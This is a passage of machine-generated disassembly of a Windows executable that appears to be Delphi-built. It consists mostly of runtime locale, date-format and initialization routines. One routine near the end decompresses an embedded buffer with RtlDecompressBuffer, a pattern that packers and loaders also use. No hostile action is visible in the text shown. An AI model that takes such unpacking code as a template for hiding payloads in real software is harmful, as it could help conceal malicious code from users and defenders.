					; sub_405BB0+Ej ...
		mov	eax, edx
		pop	edi
		pop	esi
		retn
sub_405BB0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_405C28	proc near		; CODE XREF: sub_403F5C+37p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		cmp	byte ptr ds:dword_40A5AC, 0
		jz	short loc_405C48
		mov	eax, ebx
		call	sub_4026E0
		mov	edx, esi
		dec	edx
		call	sub_405BB0


loc_405C48:				; CODE XREF: sub_405C28+Fj
		pop	esi
		pop	ebx
		retn
sub_405C28	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_405C4C	proc near		; CODE XREF: sub_404118+1Bp
					; sub_405CE8+1Cp
		xor	ecx, ecx
		cmp	byte ptr ds:dword_40A5AC, 0
		jz	short loc_405C5E
		call	sub_405BB0
		mov	ecx, eax


loc_405C5E:				; CODE XREF: sub_405C4C+9j
		mov	eax, ecx
		retn
sub_405C4C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_405C64	proc near		; CODE XREF: sub_405C84+31p
		push	ebx
		mov	ebx, eax
		cmp	byte ptr ds:dword_40A5AC, 0
		jz	short loc_405C7A
		push	ebx
		call	sub_40320C	; CharNextA
		sub	eax, ebx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_405C7A:				; CODE XREF: sub_405C64+Aj
		mov	eax, 1
		pop	ebx
		retn
sub_405C64	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_405C84	proc near		; CODE XREF: sub_404F38+D1p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, 1
		cmp	byte ptr ds:dword_40A5AC, 0
		jz	short loc_405CBA
		mov	dl, [ebx+esi-1]
		and	edx, 0FFh
		bt	ds:dword_40909C, edx
		jnb	short loc_405CBA
		mov	eax, ebx
		call	sub_4026E0
		add	eax, esi
		dec	eax
		call	sub_405C64


loc_405CBA:				; CODE XREF: sub_405C84+12j
					; sub_405C84+25j
		pop	esi
		pop	ebx
		retn
sub_405C84	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_405CC0	proc near		; CODE XREF: CODE:004051EAp
		push	ebx
		push	esi
		mov	ebx, edx
		mov	edx, ebx
		call	sub_405CE8
		mov	esi, eax
		test	bl, bl
		jz	short loc_405CE3
		test	eax, eax
		jz	short loc_405CE3


loc_405CD5:				; CODE XREF: sub_405CC0+21j
		mov	esi, eax
		inc	eax
		mov	edx, ebx
		call	sub_405CE8
		test	eax, eax
		jnz	short loc_405CD5


loc_405CE3:				; CODE XREF: sub_405CC0+Fj
					; sub_405CC0+13j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_405CC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_405CE8	proc near		; CODE XREF: sub_405CC0+6p
					; sub_405CC0+1Ap
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, eax
		mov	edx, ebx
		mov	eax, esi
		call	sub_4040F8
		mov	edi, eax
		test	edi, edi
		jz	short loc_405D22


loc_405CFE:				; CODE XREF: sub_405CE8+38j
		mov	edx, edi
		sub	edx, esi
		mov	eax, esi
		call	sub_405C4C
		sub	al, 1
		jb	short loc_405D22
		jz	short loc_405D11
		jmp	short loc_405D12
; ---------------------------------------------------------------------------


loc_405D11:				; CODE XREF: sub_405CE8+25j
		inc	edi


loc_405D12:				; CODE XREF: sub_405CE8+27j
		inc	edi
		mov	edx, ebx
		mov	eax, edi
		call	sub_4040F8
		mov	edi, eax
		test	edi, edi
		jnz	short loc_405CFE


loc_405D22:				; CODE XREF: sub_405CE8+14j
					; sub_405CE8+23j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_405CE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405D28	proc near		; CODE XREF: sub_405D9C+13p

var_C		= dword	ptr -0Ch
var_7		= byte ptr -7

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_C], edx
		xor	edx, edx
		push	ebp
		push	offset loc_405D8C
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	7
		lea	edx, [ebp+var_7]
		push	edx
		push	1004h
		push	eax
		call	sub_4031B4	; GetLocaleInfoA
		lea	eax, [ebp+var_C]
		lea	edx, [ebp+var_7]
		mov	ecx, 7
		call	sub_402530
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_40319C	; GetACP
		mov	edx, eax
		pop	eax
		call	sub_403F2C
		mov	ebx, eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_405D93


loc_405D83:				; CODE XREF: sub_405D28+69j
		lea	eax, [ebp+var_C]
		call	sub_4022E4
		retn
; ---------------------------------------------------------------------------


loc_405D8C:				; DATA XREF: sub_405D28+Fo
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_405D83
; ---------------------------------------------------------------------------


loc_405D93:				; CODE XREF: sub_405D28+63j
					; DATA XREF: sub_405D28+56o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405D28	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405D9C	proc near		; CODE XREF: sub_405E14+93p
					; sub_405E14+145p

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		add	edi, 0FFFFFFECh
		push	edi
		mov	eax, ds:dword_40A5A0
		call	sub_405D28
		push	eax
		call	sub_4031A4	; GetCPInfo
		xor	esi, esi
		jmp	short loc_405DE7
; ---------------------------------------------------------------------------


loc_405DBE:				; CODE XREF: sub_405D9C+58j
		mov	al, [edi+esi+6]
		mov	bl, [edi+esi+7]
		sub	bl, al
		jb	short loc_405DE4
		inc	ebx
		mov	[ebp+var_1], al


loc_405DCE:				; CODE XREF: sub_405D9C+46j
		mov	al, [ebp+var_1]
		and	eax, 0FFh
		bts	ds:dword_40909C, eax
		inc	[ebp+var_1]
		dec	bl
		jnz	short loc_405DCE


loc_405DE4:				; CODE XREF: sub_405D9C+2Cj
		add	esi, 2


loc_405DE7:				; CODE XREF: sub_405D9C+20j
		cmp	esi, 0Ch
		jge	short loc_405DF6
		mov	al, [edi+esi+6]
		or	al, [edi+esi+7]
		jnz	short loc_405DBE


loc_405DF6:				; CODE XREF: sub_405D9C+4Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_405D9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_405DFC	proc near		; CODE XREF: sub_405E14+76p
		mov	eax, ds:dword_40A5A4
		cmp	eax, 1Fh
		ja	short loc_405E0D
		bt	ds:dword_409264, eax


loc_405E0D:				; CODE XREF: sub_405DFC+8j
		setb	al
		retn
sub_405DFC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E14	proc near		; CODE XREF: sub_405F88+1Ep

var_196		= byte ptr -196h
var_94		= byte ptr -94h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE68h
		push	ebx
		push	esi
		push	edi
		mov	ds:dword_40A5A0, 409h
		mov	ds:dword_40A5A4, 9
		mov	ds:dword_40A5A8, 1
		call	sub_4031E4	; GetThreadLocale
		test	eax, eax
		jz	short loc_405E4C
		mov	ds:dword_40A5A0, eax


loc_405E4C:				; CODE XREF: sub_405E14+31j
		test	ax, ax
		jz	short loc_405E6C
		mov	edx, eax
		and	dx, 3FFh
		movzx	edx, dx
		mov	ds:dword_40A5A4, edx
		movzx	eax, ax
		shr	eax, 0Ah
		mov	ds:dword_40A5A8, eax


loc_405E6C:				; CODE XREF: sub_405E14+3Bj
		mov	esi, offset dword_405F68
		mov	edi, offset dword_40909C
		mov	ecx, 8
		rep movsd
		cmp	ds:dword_409088, 2
		jnz	loc_405F31
		call	sub_405DFC
		test	al, al
		jz	short loc_405EA6
		mov	byte ptr ds:dword_40A5AC+1, 0
		mov	byte ptr ds:dword_40A5AC, 0
		jmp	loc_405F5F
; ---------------------------------------------------------------------------


loc_405EA6:				; CODE XREF: sub_405E14+7Dj
		push	ebp
		call	sub_405D9C
		pop	ecx
		mov	eax, offset dword_40909C
		mov	edx, offset dword_405F68
		mov	cl, 20h
		call	sub_401720
		setnz	bl
		mov	byte ptr ds:dword_40A5AC, bl
		test	bl, bl
		jz	short loc_405ED7
		mov	byte ptr ds:dword_40A5AC+1, 0
		jmp	loc_405F5F
; ---------------------------------------------------------------------------


loc_405ED7:				; CODE XREF: sub_405E14+B5j
		mov	eax, 80h
		lea	edx, [ebp+var_94]


loc_405EE2:				; CODE XREF: sub_405E14+D7j
		mov	[edx], al
		inc	eax
		inc	edx
		cmp	eax, 100h
		jnz	short loc_405EE2
		lea	eax, [ebp+var_94]
		lea	edx, [ebp+var_196]
		push	edx
		push	80h
		push	eax
		push	2
		mov	eax, ds:dword_40A5A0
		push	eax
		call	sub_4031DC	; GetStringTypeExA
		mov	eax, 80h
		lea	edx, [ebp+var_196]


loc_405F18:				; CODE XREF: sub_405E14+119j
		cmp	word ptr [edx],	2
		setz	cl
		mov	byte ptr ds:dword_40A5AC+1, cl
		test	cl, cl
		jnz	short loc_405F5F
		add	edx, 2
		dec	eax
		jnz	short loc_405F18
		jmp	short loc_405F5F
; ---------------------------------------------------------------------------


loc_405F31:				; CODE XREF: sub_405E14+70j
		push	4Ah
		call	sub_403214	; GetSystemMetrics
		test	eax, eax
		setnz	al
		mov	byte ptr ds:dword_40A5AC+1, al
		push	2Ah
		call	sub_403214	; GetSystemMetrics
		test	eax, eax
		setnz	bl
		mov	byte ptr ds:dword_40A5AC, bl
		test	bl, bl
		jz	short loc_405F5F
		push	ebp
		call	sub_405D9C
		pop	ecx


loc_405F5F:				; CODE XREF: sub_405E14+8Dj
					; sub_405E14+BEj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405E14	endp

; ---------------------------------------------------------------------------
		align 4
dword_405F68	dd 8 dup(0)		; DATA XREF: sub_405E14:loc_405E6Co
					; sub_405E14+9Eo

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F88	proc near		; CODE XREF: CODE:00406831p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 8


loc_405F90:				; CODE XREF: sub_405F88+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_405F90
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_406253
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_405E14
		call	sub_404CB0
		cmp	byte ptr ds:dword_40A5AC, 0
		jz	short loc_405FBE
		call	sub_404E88


loc_405FBE:				; CODE XREF: sub_405F88+2Fj
		call	sub_4031E4	; GetThreadLocale
		mov	ebx, eax
		lea	eax, [ebp+var_10]
		push	eax
		xor	ecx, ecx
		mov	edx, 14h
		mov	eax, ebx
		call	sub_404C00
		mov	edx, [ebp+var_10]
		mov	eax, offset dword_40A4E0
		call	sub_402338
		lea	eax, [ebp+var_14]
		push	eax
		mov	ecx, offset dword_406268
		mov	edx, 1Bh
		mov	eax, ebx
		call	sub_404C00
		mov	eax, [ebp+var_14]
		xor	edx, edx
		call	sub_403F2C
		mov	ds:byte_40A4E4,	al
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, offset dword_406268
		mov	edx, 1Ch
		mov	eax, ebx
		call	sub_404C00
		mov	eax, [ebp+var_18]
		xor	edx, edx
		call	sub_403F2C
		mov	ds:byte_40A4E5,	al
		mov	cl, 2Ch
		mov	edx, 0Fh
		mov	eax, ebx
		call	sub_404C4C
		mov	ds:byte_40A4E6,	al
		mov	cl, 2Eh
		mov	edx, 0Eh
		mov	eax, ebx
		call	sub_404C4C
		mov	ds:byte_40A4E7,	al
		lea	eax, [ebp+var_1C]
		push	eax
		mov	ecx, offset dword_406268
		mov	edx, 19h
		mov	eax, ebx
		call	sub_404C00
		mov	eax, [ebp+var_1C]
		xor	edx, edx
		call	sub_403F2C
		mov	ds:byte_40A4E8,	al
		mov	cl, 2Fh
		mov	edx, 1Dh
		mov	eax, ebx
		call	sub_404C4C
		mov	ds:byte_40A4E9,	al
		lea	eax, [ebp+var_24]
		push	eax
		mov	ecx, offset dword_406274
		mov	edx, 1Fh
		mov	eax, ebx
		call	sub_404C00
		mov	eax, [ebp+var_24]
		lea	edx, [ebp+var_20]
		call	sub_404F38
		mov	edx, [ebp+var_20]
		mov	eax, offset dword_40A4EC
		call	sub_402338
		lea	eax, [ebp+var_2C]
		push	eax
		mov	ecx, offset dword_406284
		mov	edx, 20h
		mov	eax, ebx
		call	sub_404C00
		mov	eax, [ebp+var_2C]
		lea	edx, [ebp+var_28]
		call	sub_404F38
		mov	edx, [ebp+var_28]
		mov	eax, offset dword_40A4F0
		call	sub_402338
		mov	cl, 3Ah
		mov	edx, 1Eh
		mov	eax, ebx
		call	sub_404C4C
		mov	ds:byte_40A4F4,	al
		lea	eax, [ebp+var_30]
		push	eax
		mov	ecx, offset dword_40629C
		mov	edx, 28h
		mov	eax, ebx
		call	sub_404C00
		mov	edx, [ebp+var_30]
		mov	eax, offset dword_40A4F8
		call	sub_402338
		lea	eax, [ebp+var_34]
		push	eax
		mov	ecx, offset dword_4062A8
		mov	edx, 29h
		mov	eax, ebx
		call	sub_404C00
		mov	edx, [ebp+var_34]
		mov	eax, offset dword_40A4FC
		call	sub_402338
		lea	eax, [ebp+var_8]
		call	sub_4022E4
		lea	eax, [ebp+var_C]
		call	sub_4022E4
		lea	eax, [ebp+var_38]
		push	eax
		mov	ecx, offset dword_406268
		mov	edx, 25h
		mov	eax, ebx
		call	sub_404C00
		mov	eax, [ebp+var_38]
		xor	edx, edx
		call	sub_403F2C
		test	eax, eax
		jnz	short loc_40617C
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_4062B4
		call	sub_40237C
		jmp	short loc_406189
; ---------------------------------------------------------------------------


loc_40617C:				; CODE XREF: sub_405F88+1E3j
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_4062C0
		call	sub_40237C


loc_406189:				; CODE XREF: sub_405F88+1F2j
		lea	eax, [ebp+var_3C]
		push	eax
		mov	ecx, offset dword_406268
		mov	edx, 23h
		mov	eax, ebx
		call	sub_404C00
		mov	eax, [ebp+var_3C]
		xor	edx, edx
		call	sub_403F2C
		test	eax, eax
		jnz	short loc_4061EB
		lea	eax, [ebp+var_40]
		push	eax
		mov	ecx, offset dword_406268
		mov	edx, 1005h
		mov	eax, ebx
		call	sub_404C00
		mov	eax, [ebp+var_40]
		xor	edx, edx
		call	sub_403F2C
		test	eax, eax
		jnz	short loc_4061DE
		lea	eax, [ebp+var_C]
		mov	edx, offset dword_4062CC
		call	sub_40237C
		jmp	short loc_4061EB
; ---------------------------------------------------------------------------


loc_4061DE:				; CODE XREF: sub_405F88+245j
		lea	eax, [ebp+var_8]
		mov	edx, offset dword_4062DC
		call	sub_40237C


loc_4061EB:				; CODE XREF: sub_405F88+222j
					; sub_405F88+254j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset dword_4062EC
		push	[ebp+var_C]
		mov	eax, offset dword_40A500
		mov	edx, 4
		call	sub_4025A8
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset dword_4062F8
		push	[ebp+var_C]
		mov	eax, offset dword_40A504
		mov	edx, 4
		call	sub_4025A8
		mov	cl, 2Ch
		mov	edx, 0Ch
		mov	eax, ebx
		call	sub_404C4C
		mov	byte ptr ds:dword_40A5AC+2, al
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40625A


loc_406245:				; CODE XREF: sub_405F88+2D0j
		lea	eax, [ebp+var_40]
		mov	edx, 10h
		call	sub_402308
		retn
; ---------------------------------------------------------------------------


loc_406253:				; DATA XREF: sub_405F88+13o
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_406245
; ---------------------------------------------------------------------------


loc_40625A:				; CODE XREF: sub_405F88+2CAj
					; DATA XREF: sub_405F88+2B8o
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405F88	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFFFFFh, 1
dword_406268	dd 30h,	0FFFFFFFFh, 6	; DATA XREF: sub_405F88+60o
					; sub_405F88+84o ...
dword_406274	dd 2F642F6Dh, 7979h, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_405F88+105o
dword_406284	dd 6D6D6D6Dh, 202C6420h, 79797979h, 0 ;	DATA XREF: sub_405F88+132o
		dd 0FFFFFFFFh, 2
dword_40629C	dd 6D61h, 0FFFFFFFFh, 2	; DATA XREF: sub_405F88+172o
dword_4062A8	dd 6D70h, 0FFFFFFFFh, 1	; DATA XREF: sub_405F88+194o
dword_4062B4	dd 68h,	0FFFFFFFFh, 2	; DATA XREF: sub_405F88+1E8o
dword_4062C0	dd 6868h, 0FFFFFFFFh, 5	; DATA XREF: sub_405F88+1F7o
dword_4062CC	dd 504D4120h, 4Dh, 0FFFFFFFFh, 5 ; DATA	XREF: sub_405F88+24Ao
dword_4062DC	dd 4D504D41h, 20h, 0FFFFFFFFh, 3 ; DATA	XREF: sub_405F88+259o
dword_4062EC	dd 6D6D3Ah, 0FFFFFFFFh,	6 ; DATA XREF: sub_405F88+269o
dword_4062F8	dd 3A6D6D3Ah, 7373h	; DATA XREF: sub_405F88+286o

; =============== S U B	R O U T	I N E =======================================



sub_406300	proc near		; CODE XREF: CODE:00406683p
		push	ebx
		mov	ebx, offset dword_409268
		jmp	short loc_406318
; ---------------------------------------------------------------------------


loc_406308:				; CODE XREF: sub_406300+1Bj
		mov	eax, [ebx]
		mov	edx, [eax]
		mov	[ebx], edx
		mov	edx, 8
		call	sub_4011C0


loc_406318:				; CODE XREF: sub_406300+6j
		cmp	dword ptr [ebx], 0
		jnz	short loc_406308
		pop	ebx
		retn
sub_406300	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_406320	proc near		; CODE XREF: CODE:0040682Cp
		push	ebx
		push	offset dword_406358
		call	sub_4031C4	; GetModuleHandleA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_406341
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	ebx
		call	sub_4031CC	; GetProcAddress
		mov	ds:dword_4090C0, eax


loc_406341:				; CODE XREF: sub_406320+Fj
		cmp	ds:dword_4090C0, 0
		jnz	short loc_406354
		mov	eax, offset sub_403FE4
		mov	ds:dword_4090C0, eax


loc_406354:				; CODE XREF: sub_406320+28j
		pop	ebx
		retn
sub_406320	endp

; ---------------------------------------------------------------------------
		align 4
dword_406358	dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 ;	DATA XREF: sub_406320+1o
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_406320+11o

; =============== S U B	R O U T	I N E =======================================



sub_40637C	proc near		; CODE XREF: CODE:0040667Ep
		mov	edx, [eax]
		xor	ecx, ecx
		mov	[eax], ecx
		mov	eax, edx
		call	sub_401A84
		retn
sub_40637C	endp

; ---------------------------------------------------------------------------
		align 4
dword_40638C	dd 1Dh,	409260h, 409378h, 409258h, 409334h, 409250h, 4092ACh
					; DATA XREF: CODE:004067F6o
		dd 409248h, 409388h, 409240h, 40939Ch, 409238h,	4092FCh
		dd 409230h, 40932Ch, 409228h, 409290h, 409220h,	40933Ch
		dd 409218h, 409348h, 409210h, 409314h, 409208h,	409318h
		dd 409200h, 4093C0h, 4091F8h, 4093B8h, 4091F0h,	4093DCh
		dd 4091E8h, 40936Ch, 4091E0h, 40935Ch, 4091D8h,	4093E0h
		dd 4091D0h, 4093D0h, 4091C8h, 409324h, 4091C0h,	4093C4h
		dd 4091B8h, 4093C8h, 4091B0h, 4092E4h, 4091A8h,	4092C0h
		dd 4091A0h, 409358h, 409198h, 409384h, 409190h,	409294h
		dd 409188h, 4093BCh, 409180h, 409320h
dword_406478	dd 28h,	409178h, 4093B0h, 0 ; DATA XREF: CODE:00406800o
		dd offset off_409174
		dd offset off_4092B0
		dd 0
		dd offset off_409170
		dd offset off_409380
		align 10h
		dd offset off_40916C
		dd offset off_4092A0
		dd 0
		dd offset off_409168
		dd offset off_4092CC
		align 8
		dd offset off_409164
		dd offset off_4092C4
		dd 0
		dd offset off_409160
		dd offset off_4092B8
		align 10h
		dd offset off_40915C
		dd offset off_40931C
		dd 0
		dd offset off_409158
		dd offset off_409368
		align 8
		dd offset off_409154
		dd offset off_4092C8
		dd 0
		dd offset off_409150
		dd offset off_409354
		align 10h
		dd offset off_40914C
		dd offset off_409398
		dd 0
		dd offset off_409148
		dd offset off_409390
		align 8
		dd offset off_409144
		dd offset off_409370
		dd 0
		dd offset off_409140
		dd offset off_409310
		align 10h
		dd offset off_40913C
		dd offset off_4092F8
		dd 0
		dd offset off_409138
		dd offset off_40929C
		align 8
		dd offset off_409134
		dd offset off_40938C
		dd 0
		dd offset off_409130
		dd offset off_409344
		align 10h
		dd offset off_40912C
		dd offset off_4092F0
		dd 0
		dd offset off_409128
		dd offset off_409338
		align 8
		dd offset off_409124
		dd offset off_409360
		dd 0
		dd offset off_409120
		dd offset off_409340
		align 10h
		dd offset off_40911C
		dd offset off_409304
		dd 0
		dd offset off_409118
		dd offset off_409298
		align 8
		dd offset off_409114
		dd offset off_409330
		dd 0
		dd offset off_409110
		dd offset off_4093CC
		align 10h
		dd offset off_40910C
		dd offset off_4093AC
		dd 0
		dd offset off_409108
		dd offset off_409350
		align 8
		dd offset off_409104
		dd offset off_4092E0
		dd 0
		dd offset off_409100
		dd offset off_4092A4
		align 10h
		dd offset off_4090FC
		dd offset off_4093A4
		dd 0
		dd offset off_4090F8
		dd offset off_4093E8
		align 8
		dd offset off_4090F4
		dd offset off_4092BC
		dd 0
		dd offset off_4090F0
		dd offset off_40928C
		align 10h
		dd offset off_4090EC
		dd offset off_4093B4
		dd 0
		dd offset off_4090E8
		dd offset off_40934C
		align 8
		dd offset off_4090E4
		dd offset off_4093D4
		dd 0
		dd offset off_4090D0
		dd offset off_409328
		dd 0
		dd offset off_4090CC
		dd offset off_4092E8
		dd 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4067D1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_40A5F0
		jnz	loc_4067C3
		mov	eax, offset dword_40A5FC
		call	sub_40637C
		call	sub_406300
		call	sub_405AEC
		mov	eax, offset off_4091B4
		mov	ecx, 16h
		mov	edx, off_4055C4
		call	sub_402824
		mov	eax, offset dword_40917C
		mov	ecx, 7
		mov	edx, off_405544
		call	sub_402824
		mov	eax, offset dword_4090C4
		mov	ecx, 2
		mov	edx, off_401000
		call	sub_402824
		mov	eax, offset dword_4090BC
		call	sub_4022E4
		mov	eax, offset dword_40A5EC
		mov	edx, off_403ED8
		call	sub_402A34
		mov	eax, offset dword_40A5E8
		mov	edx, off_403EB4
		call	sub_402A34
		mov	eax, offset dword_40A5B0
		mov	ecx, 7
		mov	edx, off_401000
		call	sub_402824
		mov	eax, offset dword_40A584
		mov	ecx, 7
		mov	edx, off_401000
		call	sub_402824
		mov	eax, offset dword_40A568
		mov	ecx, 7
		mov	edx, off_401000
		call	sub_402824
		mov	eax, offset dword_40A538
		mov	ecx, 0Ch
		mov	edx, off_401000
		call	sub_402824
		mov	eax, offset dword_40A508
		mov	ecx, 0Ch
		mov	edx, off_401000
		call	sub_402824
		mov	eax, offset dword_40A504
		call	sub_4022E4
		mov	eax, offset dword_40A500
		call	sub_4022E4
		mov	eax, offset dword_40A4FC
		call	sub_4022E4
		mov	eax, offset dword_40A4F8
		call	sub_4022E4
		mov	eax, offset dword_40A4F0
		call	sub_4022E4
		mov	eax, offset dword_40A4EC
		call	sub_4022E4
		mov	eax, offset dword_40A4E0
		call	sub_4022E4
		mov	eax, offset dword_409098
		call	sub_4022E4
		mov	eax, offset dword_409084
		call	sub_4027D8
		mov	eax, offset dword_409080
		call	sub_4022E4


loc_4067C3:				; CODE XREF: CODE:00406673j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4067D8


loc_4067D0:				; CODE XREF: CODE:004067D6j
		retn
; ---------------------------------------------------------------------------


loc_4067D1:				; DATA XREF: CODE:00406662o
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_4067D0
; ---------------------------------------------------------------------------


loc_4067D8:				; CODE XREF: CODE:loc_4067D0j
					; DATA XREF: CODE:004067CBo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_406844
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		sub	ds:dword_40A5F0, 1
		jnb	short loc_406836
		mov	eax, offset dword_40638C
		call	sub_402180
		mov	eax, offset dword_406478
		call	sub_4021A8
		cmp	ds:byte_40A4BD,	0
		jz	short loc_406822
		mov	eax, offset dword_4090BC
		mov	edx, offset dword_406858
		call	sub_402338


loc_406822:				; CODE XREF: CODE:00406811j
		call	sub_405A68
		call	sub_405B58
		call	sub_406320
		call	sub_405F88


loc_406836:				; CODE XREF: CODE:004067F4j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40684B


loc_406843:				; CODE XREF: CODE:00406849j
		retn
; ---------------------------------------------------------------------------


loc_406844:				; DATA XREF: CODE:004067E2o
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_406843
; ---------------------------------------------------------------------------


loc_40684B:				; CODE XREF: CODE:loc_406843j
					; DATA XREF: CODE:0040683Eo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFFFFFh, 2
dword_406858	dd 7830h		; DATA XREF: CODE:00406818o

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40685C	proc near		; CODE XREF: sub_406870+7Fp
		jmp	ds:dword_40B184
sub_40685C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_406864	proc near		; CODE XREF: sub_406870+25p
					; sub_406930+31p ...
		test	eax, eax
		jz	short locret_40686D
		sub	eax, 4
		mov	eax, [eax]

locret_40686D:				; CODE XREF: sub_406864+2j
		retn
sub_406864	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406870	proc near		; CODE XREF: CODE:00408325p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		call	sub_4026D0
		xor	eax, eax
		push	ebp
		push	offset loc_40691D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+arg_4]
		call	sub_406864
		mov	ebx, eax
		cmp	ebx, 4
		jbe	short loc_406900
		lea	eax, [ebp+arg_4]
		call	sub_40272C
		mov	edi, eax
		mov	edx, [edi]
		mov	eax, esi
		call	sub_402774
		cmp	dword ptr [edi], 80000h
		jbe	short loc_4068C5
		mov	[ebp+var_8], 2
		jmp	short loc_4068CC
; ---------------------------------------------------------------------------


loc_4068C5:				; CODE XREF: sub_406870+4Aj
		mov	[ebp+var_8], 102h


loc_4068CC:				; CODE XREF: sub_406870+53j
		lea	eax, [ebp+var_4]
		push	eax
		sub	ebx, 4
		push	ebx
		lea	eax, [ebp+arg_4]
		call	sub_40272C
		add	eax, 4
		push	eax
		mov	eax, [edi]
		push	eax
		mov	eax, esi
		call	sub_40272C
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_40685C	; RtlDecompressBuffer
		mov	eax, esi
		mov	edx, [ebp+var_4]
		call	sub_402774
		jmp	short loc_406907
; ---------------------------------------------------------------------------


loc_406900:				; CODE XREF: sub_406870+2Fj
		mov	eax, esi
		call	sub_4022E4


loc_406907:				; CODE XREF: sub_406870+8Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_406924


loc_406914:				; CODE XREF: sub_406870+B2j
		lea	eax, [ebp+arg_4]
		call	sub_4022E4
		retn
; ---------------------------------------------------------------------------


loc_40691D:				; DATA XREF: sub_406870+17o
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_406914
; ---------------------------------------------------------------------------


loc_406924:				; CODE XREF: sub_406870+ACj
					; DATA XREF: sub_406870+9Fo
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
sub_406870	endp

